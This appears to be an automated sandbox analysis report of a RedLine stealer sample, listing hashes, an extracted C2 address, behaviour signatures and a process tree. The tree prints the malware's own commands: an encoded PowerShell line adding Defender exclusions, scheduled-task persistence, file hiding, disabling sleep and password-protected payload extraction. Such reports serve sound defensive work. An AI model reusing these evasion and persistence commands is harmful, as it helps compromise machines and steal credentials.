Analysis

  • max time kernel
    145s
  • max time network
    133s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-05-2024 08:56

General

  • Target

    d15d1e547612552d7b946c802b8445fb0c603968c4353be354fe1a2a65683463.exe

  • Size

    444KB

  • MD5

    0c34afe936fecc85fdfa87735bad598d

  • SHA1

    9e24cc5cbac7c5667e57976d2536375ba25014e3

  • SHA256

    d15d1e547612552d7b946c802b8445fb0c603968c4353be354fe1a2a65683463

  • SHA512

    ddd81432a9e829c63dd57126926facb8b57b222632a97aef7b242eedcafb43b9d8f76491d588c6d3caefb2a4e5ea301f3b97be671b4e21aea3356b0a99ec96f7

  • SSDEEP

    6144:u8INtdy8s24pEts2HnUmPjd3xg5J+J0FfJsd6fADKY0UjuY/PoSTiRVVRupR7vau:u8+s7pEe2HPVm50J0FfbAmbUXbpaRbi

Malware Config

Extracted

Family

redline

Botnet

@Shehqqq6

C2

147.45.47.93:80

Signatures

  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

  • RedLine payload 1 IoCs
  • Downloads MZ/PE file
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 4 IoCs
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 15 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\d15d1e547612552d7b946c802b8445fb0c603968c4353be354fe1a2a65683463.exe
    "C:\Users\Admin\AppData\Local\Temp\d15d1e547612552d7b946c802b8445fb0c603968c4353be354fe1a2a65683463.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:4880
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:456
      • C:\Users\Admin\AppData\Local\Temp\conhost.exe
        "C:\Users\Admin\AppData\Local\Temp\conhost.exe"
        3⤵
        • Checks computer location settings
        • Executes dropped EXE
        • Suspicious use of WriteProcessMemory
        PID:208
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\main\main.bat" /S"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4932
          • C:\Windows\system32\mode.com
            mode 65,10
            5⤵
              PID:3012
            • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
              7z.exe e file.zip -p563741341569714296105326100 -oextracted
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:380
            • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
              7z.exe e extracted/file_2.zip -oextracted
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:2876
            • C:\Users\Admin\AppData\Local\Temp\main\7z.exe
              7z.exe e extracted/file_1.zip -oextracted
              5⤵
              • Executes dropped EXE
              • Loads dropped DLL
              • Suspicious use of AdjustPrivilegeToken
              PID:4968
            • C:\Windows\system32\attrib.exe
              attrib +H "svcshost.exe"
              5⤵
              • Views/modifies file attributes
              PID:1120
            • C:\Users\Admin\AppData\Local\Temp\main\svcshost.exe
              "svcshost.exe"
              5⤵
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:4732
              • C:\Windows\SysWOW64\cmd.exe
                "cmd.exe" /C powershell -EncodedCommand "PAAjADAARQBmAEQAbABBACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAaABwADEARQBXAFQAbQBZACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHYAbgBNAE4AVgA4ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAEoAdwAjAD4A" & powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 & powercfg /hibernate off
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:2092
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  powershell -EncodedCommand "PAAjADAARQBmAEQAbABBACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAaABwADEARQBXAFQAbQBZACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHYAbgBNAE4AVgA4ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAEoAdwAjAD4A"
                  7⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4840
              • C:\Windows\SysWOW64\cmd.exe
                "cmd.exe" /c SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:1448
                • C:\Windows\SysWOW64\schtasks.exe
                  SCHTASKS /CREATE /SC MINUTE /MO 5 /TN "dllhost" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                  7⤵
                  • Creates scheduled task(s)
                  PID:1940
              • C:\Windows\SysWOW64\cmd.exe
                "cmd.exe" /c SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk3654" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:3760
                • C:\Windows\SysWOW64\schtasks.exe
                  SCHTASKS /CREATE /SC HOURLY /TN "NvStray\NvStrayService_bk3654" /TR "C:\ProgramData\Dllhost\dllhost.exe"
                  7⤵
                  • Creates scheduled task(s)
                  PID:2752

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\Tmp519A.tmp

      Filesize

      2KB

      MD5

      1420d30f964eac2c85b2ccfe968eebce

      SHA1

      bdf9a6876578a3e38079c4f8cf5d6c79687ad750

      SHA256

      f3327793e3fd1f3f9a93f58d033ed89ce832443e2695beca9f2b04adba049ed9

      SHA512

      6fcb6ce148e1e246d6805502d4914595957061946751656567a5013d96033dd1769a22a87c45821e7542cde533450e41182cee898cd2ccf911c91bc4822371a8

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_y2hs4p5b.1pn.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Local\Temp\conhost.exe

      Filesize

      2.5MB

      MD5

      be320b59ef29060678bcb78d6c8fa059

      SHA1

      eb76091dc908c5bcf1ddd24900f53b6d9119bf53

      SHA256

      9fdadcad0d51590fd9b604d464cdac18c9b34d43b4194c7d54110b299a841145

      SHA512

      8015324abb929d2ff22c1ba96bf79fe2393a16ad9daa93caef756ab41122b9e582fca68aaf8b625934aad3140223db6928a105633bb5ca209a2a3980383383fc

    • C:\Users\Admin\AppData\Local\Temp\main\7z.dll

      Filesize

      1.6MB

      MD5

      72491c7b87a7c2dd350b727444f13bb4

      SHA1

      1e9338d56db7ded386878eab7bb44b8934ab1bc7

      SHA256

      34ad9bb80fe8bf28171e671228eb5b64a55caa388c31cb8c0df77c0136735891

      SHA512

      583d0859d29145dfc48287c5a1b459e5db4e939624bd549ff02c61eae8a0f31fc96a509f3e146200cdd4c93b154123e5adfbfe01f7d172db33968155189b5511

    • C:\Users\Admin\AppData\Local\Temp\main\7z.exe

      Filesize

      458KB

      MD5

      619f7135621b50fd1900ff24aade1524

      SHA1

      6c7ea8bbd435163ae3945cbef30ef6b9872a4591

      SHA256

      344f076bb1211cb02eca9e5ed2c0ce59bcf74ccbc749ec611538fa14ecb9aad2

      SHA512

      2c7293c084d09bc2e3ae2d066dd7b331c810d9e2eeca8b236a8e87fdeb18e877b948747d3491fcaff245816507685250bd35f984c67a43b29b0ae31ecb2bd628

    • C:\Users\Admin\AppData\Local\Temp\main\extracted\ANTIAV~1.DAT

      Filesize

      2.2MB

      MD5

      7fc02b51dd8ee71d01cf01ec2faa8cc6

      SHA1

      52d16d36ea5719177ac56d1420281587b84268e5

      SHA256

      87920f35f5b119fa851cc3e1be8d26669a86636d25fb5a1fc71d8e49c20426b1

      SHA512

      f7c98a71882f8517b9c942222de7f5ef8b75a3b5699530f194ff1c670c1e4c4ab1622d2dbf5e9145df28d67491a96fd5c2e6b2ebf8aa9fa07415e4e7466bde5c

    • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_1.zip

      Filesize

      9KB

      MD5

      ed96024f86a8d005a58c85056c939b57

      SHA1

      304349dddbc2be0b786188aeb9f3e774b3eee000

      SHA256

      191472c620709b27aaf22d77531ad320de820f4470911d12ca947835b11985a3

      SHA512

      d8b40cd1a478daeb50aaf641b5dca98f483b7164f06a0c7bc9ff73f3ae75197542518b1fa867622600f3b589756e493bba6baa88c98a284751f2a4abd710e07d

    • C:\Users\Admin\AppData\Local\Temp\main\extracted\file_2.zip

      Filesize

      1.6MB

      MD5

      1dea9b52d271181663e8490fb0cfb259

      SHA1

      ecb5431dd5f2195fa006f6b122fbada1ee7814fa

      SHA256

      4d06d0ef87f79d86c05b505d6bb1726e76e032514de129b1421d660fd31b7934

      SHA512

      fff4c592f7947f29fc3c1209f13d9c2b19a052e88cab59e1f18f0d30eb53b734601d8292dbfb2004d6ab13b72f36d3ef600808c83625aa32f5a152af6acc1812

    • C:\Users\Admin\AppData\Local\Temp\main\extracted\svcshost.exe

      Filesize

      21KB

      MD5

      3157f43bcc6254d4dd2b18ed3748cc0e

      SHA1

      e9268a22049763ada485c7ab61538767f1e5693e

      SHA256

      8abd4b8b64f0594bd1295a458d5f157fe6d3af3000318025273645c753ec18aa

      SHA512

      0ea5d6a6e12bc7fea0f1129aed97eb15801d9003033d96758810598bee9d8dc1a49626e655527cb7c758856e2c471e4801460abffdaeb2d8c4b7faebdb91d74e

    • C:\Users\Admin\AppData\Local\Temp\main\file.bin

      Filesize

      1.6MB

      MD5

      6f4dc951bbb91da352f1b1736b9551dc

      SHA1

      c94c3fbb3a830f8a3f98963eef485ecbf7f8487b

      SHA256

      ffeeaa61d3e4e3aeedbd1303757049b46e30bad6445e6d78f02efce265071404

      SHA512

      da41d47ce5f4599bb7acbf71cfd22980f2f0f2cd74aecf1dc9664f349815a44389f13c0c2c70a89812ab665fb4b932f64f0a48664d63206e22db655f223406ea

    • C:\Users\Admin\AppData\Local\Temp\main\main.bat

      Filesize

      468B

      MD5

      1005b0d4f17c3e5c9a8c0e89f3943c63

      SHA1

      5d5e9a7ad0c21cb256f7381cb1fd414aff83d102

      SHA256

      db61ff7a98d6279ae8db81c9713407f42f673da134d2b12d31d0bae0a3eb00e7

      SHA512

      845c09bded690af0563c6f94357d591425604b4d34404c46caba5295c192dd7eb66b620d2656b4de6a26f90657e08f591b9b46bb3d821d5344329727f37d5540

    • C:\Users\Admin\AppData\Roaming\d3d9.dll

      Filesize

      403KB

      MD5

      9f84c9689115005f1cb61b36a2c7c67e

      SHA1

      76891a7d8c2ea143cb9dab05864fb04aea8a7153

      SHA256

      f732dbad6982c48205dbb20d7cb644ddfddcd26ca1b35700a2e81f5002130bf8

      SHA512

      68b0fe1961328d9003b5918e62d0c3c9da0e79f9285771e99cc2a67f4f84739fed14c4e6343339c7f6578c3a9494e9da54a8f817cf30a6db39a87e407ee84538

    • memory/456-37-0x0000000006600000-0x000000000670A000-memory.dmp

      Filesize

      1.0MB

    • memory/456-8-0x0000000000700000-0x0000000000752000-memory.dmp

      Filesize

      328KB

    • memory/456-36-0x00000000069C0000-0x0000000006FD8000-memory.dmp

      Filesize

      6.1MB

    • memory/456-38-0x0000000006540000-0x0000000006552000-memory.dmp

      Filesize

      72KB

    • memory/456-39-0x00000000065A0000-0x00000000065DC000-memory.dmp

      Filesize

      240KB

    • memory/456-40-0x00000000067B0000-0x00000000067FC000-memory.dmp

      Filesize

      304KB

    • memory/456-43-0x0000000008CB0000-0x0000000008D16000-memory.dmp

      Filesize

      408KB

    • memory/456-44-0x0000000008FB0000-0x0000000009000000-memory.dmp

      Filesize

      320KB

    • memory/456-45-0x00000000094D0000-0x0000000009692000-memory.dmp

      Filesize

      1.8MB

    • memory/456-46-0x0000000009BD0000-0x000000000A0FC000-memory.dmp

      Filesize

      5.2MB

    • memory/456-11-0x0000000005190000-0x0000000005734000-memory.dmp

      Filesize

      5.6MB

    • memory/456-48-0x00000000751E0000-0x0000000075990000-memory.dmp

      Filesize

      7.7MB

    • memory/456-35-0x00000000751E0000-0x0000000075990000-memory.dmp

      Filesize

      7.7MB

    • memory/456-67-0x00000000751E0000-0x0000000075990000-memory.dmp

      Filesize

      7.7MB

    • memory/456-32-0x0000000006170000-0x000000000618E000-memory.dmp

      Filesize

      120KB

    • memory/456-31-0x0000000005AC0000-0x0000000005B36000-memory.dmp

      Filesize

      472KB

    • memory/456-14-0x0000000004C50000-0x0000000004C5A000-memory.dmp

      Filesize

      40KB

    • memory/456-13-0x0000000004C80000-0x0000000004D12000-memory.dmp

      Filesize

      584KB

    • memory/456-12-0x00000000751E0000-0x0000000075990000-memory.dmp

      Filesize

      7.7MB

    • memory/4732-99-0x0000000000100000-0x000000000010C000-memory.dmp

      Filesize

      48KB

    • memory/4840-116-0x0000000006270000-0x00000000062A2000-memory.dmp

      Filesize

      200KB

    • memory/4840-138-0x0000000007210000-0x0000000007224000-memory.dmp

      Filesize

      80KB

    • memory/4840-115-0x0000000005CE0000-0x0000000005D2C000-memory.dmp

      Filesize

      304KB

    • memory/4840-100-0x0000000002380000-0x00000000023B6000-memory.dmp

      Filesize

      216KB

    • memory/4840-101-0x0000000004DA0000-0x00000000053C8000-memory.dmp

      Filesize

      6.2MB

    • memory/4840-102-0x0000000005500000-0x0000000005522000-memory.dmp

      Filesize

      136KB

    • memory/4840-103-0x00000000055A0000-0x0000000005606000-memory.dmp

      Filesize

      408KB

    • memory/4840-143-0x0000000007300000-0x000000000731A000-memory.dmp

      Filesize

      104KB

    • memory/4840-113-0x0000000005820000-0x0000000005B74000-memory.dmp

      Filesize

      3.3MB

    • memory/4840-114-0x0000000005C90000-0x0000000005CAE000-memory.dmp

      Filesize

      120KB

    • memory/4840-144-0x00000000072E0000-0x00000000072E8000-memory.dmp

      Filesize

      32KB

    • memory/4840-137-0x0000000007200000-0x000000000720E000-memory.dmp

      Filesize

      56KB

    • memory/4840-128-0x0000000006E90000-0x0000000006F33000-memory.dmp

      Filesize

      652KB

    • memory/4840-127-0x0000000006E60000-0x0000000006E7E000-memory.dmp

      Filesize

      120KB

    • memory/4840-117-0x0000000071B50000-0x0000000071B9C000-memory.dmp

      Filesize

      304KB

    • memory/4840-129-0x0000000007610000-0x0000000007C8A000-memory.dmp

      Filesize

      6.5MB

    • memory/4840-130-0x0000000006FC0000-0x0000000006FDA000-memory.dmp

      Filesize

      104KB

    • memory/4840-131-0x0000000007040000-0x000000000704A000-memory.dmp

      Filesize

      40KB

    • memory/4840-132-0x0000000007240000-0x00000000072D6000-memory.dmp

      Filesize

      600KB

    • memory/4840-133-0x00000000071C0000-0x00000000071D1000-memory.dmp

      Filesize

      68KB

    • memory/4880-0-0x00000000751EE000-0x00000000751EF000-memory.dmp

      Filesize

      4KB

    • memory/4880-47-0x00000000751E0000-0x0000000075990000-memory.dmp

      Filesize

      7.7MB

    • memory/4880-1-0x0000000000F90000-0x0000000001006000-memory.dmp

      Filesize

      472KB

    • memory/4880-10-0x00000000751E0000-0x0000000075990000-memory.dmp

      Filesize

      7.7MB